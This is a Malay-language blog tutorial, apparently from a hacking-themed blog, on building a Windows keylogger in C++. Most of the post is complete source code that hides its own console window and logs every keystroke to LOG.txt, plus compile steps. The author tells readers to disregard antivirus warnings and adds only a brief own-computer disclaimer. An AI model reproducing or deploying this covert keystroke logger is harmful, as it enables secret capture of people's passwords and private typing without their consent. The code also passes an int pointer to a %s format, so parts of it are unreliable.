Mencipta Keylogger Menggunakan Bahasa Pengaturcaraan C++

Assalamu'alaikum Dan Selamat Sejahtera Para Pembaca OMG! Hackers?

Baiklah pada hari ini saya ingin berkongsi sedikit ilmu mengenai keylogger kepada anda. Bagi mereka yang tidak tahu apakah itu keylogger, anda boleh tengok entri-entri di sini. Tujuan saya hanya ingin memberi gambaran sahaja bagaimana keylogger ini dicipta. Sebagaimana yang kita semua tahu, setiap program dicipta melalui pengaturcaraan(coding). Jadi hari ini saya ingin berkongsi dengan anda coding yang ditaip untuk mencipta keylogger dari bahasa pengaturcaraan C++. Coding ini saya ambil dari laman web http://www.breakthesecurity.com.

Jadi bagaimana untuk menjadikan kod-kod itu sebagai keylogger? Baiklah. Anda hanya perlu memuat turun perisian di laman web http://www.bloodshed.net. Kemudian install di dalam komputer anda. Sudah install?

Kita ke peringkat seterusnya iaitu membuka program Dev C++ tersebut dan pergi ke File->New->Source File. Anda akan melihat satu ruang kosong. Di ruang kosong itulah anda copy dan paste kod di bawah ini.

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();

int main()
{
Stealth();
unsigned char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
cin.get();
return 0;
}

/* *********************************** */

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}

/* *********************************** */

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}


Kemudian kita compile kod-kod tersebut. Sama ada dengan menekan Ctrl+F9 atau pergi ke
Execute->Compile.





Siaplah sudah keylogger tersebut. Anda save la keylogger tersebut di mana saja yang anda suka. Keylogger yang dicipta ini akan salin segala yang ditaip di keyboard ke satu fail bernama Log.txt. Fail Log.txt itu berada bersama dengan keylogger yang anda save sebentar tadi.



Antivirus anda mungkin menganggap keylogger itu sebagai virus, jangan risau, ianya bukan virus. Ianya selamat untuk digunakan. ^^

Itu saja pada hari ini. Segala apa yang diajar hanya untuk tujuan pembelajaran. Jika ingin melakukannya, lakukannya di komputer milik anda sahaja. Lakukannya pada komputer orang lain adalah salah disisi undang-undang. Risiko anda tanggung sendiri. Saya tidak bertanggungjawab atas apa yang berlaku semasa anda melakukannya. Jadi senang cerita anda boleh mempraktikkannya di virtual machine milik anda! =)

Sekian.
Powered by Blogger.